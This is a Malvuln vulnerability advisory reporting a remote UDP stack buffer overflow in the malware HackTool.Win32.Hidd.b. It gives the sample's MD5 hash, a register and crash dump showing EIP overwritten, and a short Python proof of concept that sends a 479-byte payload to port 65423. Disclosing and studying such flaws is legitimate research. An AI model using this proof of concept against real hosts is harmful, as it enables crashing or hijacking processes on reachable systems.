Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/665a408981294ca49be23096363eec2f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: HackTool.Win32.Hidd.b
Vulnerability: Remote Stack Buffer Overflow (UDP Datagram)
Description: The malware listens on UDP ports 52810 and 65423. Third-party attackers who can reach an infected system can send a 479 byte payload to port 65423 and trigger a classic stack buffer overflow overwriting the EIP, ECX registers.
Type: PE32
MD5: 665a408981294ca49be23096363eec2f
Vuln ID: MVID-2021-0318
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 08/11/2021

Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 41414141
EDX : 77AC9D70     ntdll.77AC9D70
EBP : 000A12D8
ESP : 000A12B8
ESI : 00000000
EDI : 00000000
EIP : 41414141

EFLAGS : 00010246
ZF : 1
OF : 0
CF : 0
PF : 1
SF : 0
TF : 0     L'Ā'
AF : 0     L'Ā'
DF : 0
IF : 1
LastError : 00000000 (ERROR_SUCCESS)
LastStatus : 00000000 (STATUS_SUCCESS)
GS : 002B     athl_dump_scy.53002B
ES : 002B
CS : 0023
FS : 0053
DS : 002B
SS : 002B     '+'


dumpchk -y c:\symbols "c:\dump\athl.exe.604.dmp".

  Total memory: 684e000
Stream 3: type MemoryInfoListStream (16), size 00008080, RVA 0000A8EE
Stream 4: type ExceptionStream (6), size 000000A8, RVA 0000066C
  ThreadID 5056
  ExceptionCode C0000005
  ExceptionRecord 0
  ExceptionAddress 41414141
  Context record RVA 4194, size 2cc
Stream 5: type SystemInfoStream (7), size 00000038, RVA 000000E0
  ProcessorArchitecture   0000 (PROCESSOR_ARCHITECTURE_INTEL)
  ProcessorLevel          0006
  ProcessorRevision       9E09
  NumberOfProcessors      01
  MajorVersion            0000000A
  MinorVersion            00000000
  BuildNumber             00003FAB (16299)
  PlatformId              00000002 (VER_PLATFORM_WIN32_NT)
  CSDVersionRva           00002A94
                            Length: 0
  Product: WinNt, suite: SingleUserTS

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=65423

s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="A"*479
s.send(PAYLOAD)
s.close()

print("HackTool.Win32.Hidd.b / Remote Stack Buffer Overflow (UDP Datagram)")
print("MD5: 665a408981294ca49be23096363eec2f")
print("By Malvuln")


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